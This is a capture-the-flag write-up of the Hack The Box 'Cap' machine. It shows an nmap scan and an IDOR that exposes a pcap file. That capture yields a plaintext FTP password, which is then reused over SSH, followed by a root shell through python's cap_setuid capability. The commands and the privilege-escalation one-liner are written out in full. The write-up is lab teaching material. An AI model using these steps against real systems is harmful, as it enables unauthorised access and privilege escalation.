Cap Writeup
10 September 2022 #CTF #HTB #box #easy #linuxEnumeration
Nothing better than an nmap
scan to get going:
$ sudo nmap -F -sC -sV -oN enum/cap.nmap 10.10.10.245
[...]
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http gunicorn
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 NOT FOUND
| Server: gunicorn
| Date: Thu, 25 Aug 2022 10:47:49 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Content-Length: 232
[...]
| GetRequest:
| HTTP/1.0 200 OK
| Server: gunicorn
| Date: Thu, 25 Aug 2022 10:47:44 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Content-Length: 19386
[...]
|_http-title: Security Dashboard
|_http-server-header: gunicorn
[...]
HTTP
There is a basic network monitoring app
By clicking 'Security Snapshot' on the left menu, the web app hangs for a few seconds then displays some information:
While the page hangs, it seems it is actually capturing network traffic. (We didn't do anything during the capture, that's why no packets were captured)
The URL of this page is /data/1
. What if we can access other pages by modifying the number? Let's say /data/0
:
Looks like we can! Let's click the 'Download' button and get the pcap file.
Foothold
pcap files contain packet data that is captured with tools like tcpdump
or wireshark
, and can be read with such tools:
$ tcpdump -tqnAr 0.pcap
[...]
s...USER nathan
[...]
J...PASS Buck3tH4TF0RM3!
-t
: do not print timestamps-q
: do not print some protocol information (TCP SYN, ACK, etc)-n
: no DNS resolution-A
: print packet in ASCII (useful for analyzing HTTP and FTP)-r <file>
: read form pcap file
The password for the 'nathan' user was captured when loggin in to FTP.
$ ftp nathan@10.10.10.245
331 Please specify the password.
Password:
230 Login successful.
ftp> ls
drwxr-xr-x 3 1001 1001 4096 May 27 2021 .
drwxr-xr-x 3 0 0 4096 May 23 2021 ..
lrwxrwxrwx 1 0 0 9 May 15 2021 .bash_history -> /dev/null
-rw-r--r-- 1 1001 1001 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 1001 1001 3771 Feb 25 2020 .bashrc
drwx------ 2 1001 1001 4096 May 23 2021 .cache
-rw-r--r-- 1 1001 1001 807 Feb 25 2020 .profile
lrwxrwxrwx 1 0 0 9 May 27 2021 .viminfo -> /dev/null
-r-------- 1 1001 1001 33 Aug 28 11:44 user.txt
Except for the user.txt
there are no interesting files... But we know there is SSH as well, and password reuse is very common, so let's give it a try:
$ ssh nathan@10.10.10.245
[...]
Last login: Thu May 27 11:21:27 2021 from 10.10.14.7
nathan@cap:~$
And we are in!
Privesc
First, let's check the web app to see if we find something interesting.
In /var/www/html
there is the web app, written in python:
nathan@cap:~$ ls /var/www/html
__pycache__ app.py static templates upload
It uses Flask and this capture
method looks fishy:
@app.route("/capture")
@limiter.limit("10 per minute")
def capture():
get_lock()
pcapid = get_appid()
increment_appid()
release_lock()
path = os.path.join(app.root_path, "upload", str(pcapid) + ".pcap")
ip = request.remote_addr
# permissions issues with gunicorn and threads. hacky solution for now.
#os.setuid(0)
#command = f"timeout 5 tcpdump -w {path} -i any host {ip}"
command = f"""python3 -c 'import os; os.setuid(0); os.system("timeout 5 tcpdump -w {path} -i any host {ip}")'"""
os.system(command)
#os.setuid(1000)
return redirect("/data/" + str(pcapid))
It is calling os.system
to execute tcpdump
as root with os.setuid(0)
.
We can check if there is a setuid capability on the python binary with the getcap
command:
nathan@cap:~$ getcap -r /usr/bin/python3.8
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
(It won't work with /usr/bin/python3
because it is a symlink to /usr/bin/pyton3.8
)
Indeed, there is. That means we can become root pretty easily:
nathan@cap:~$ python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'
root@cap:~# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)
Boom.
Key Takeaways
getcap
to check capabilities on executables (find
wouldn't work here)- cap_setuid != setuid bit set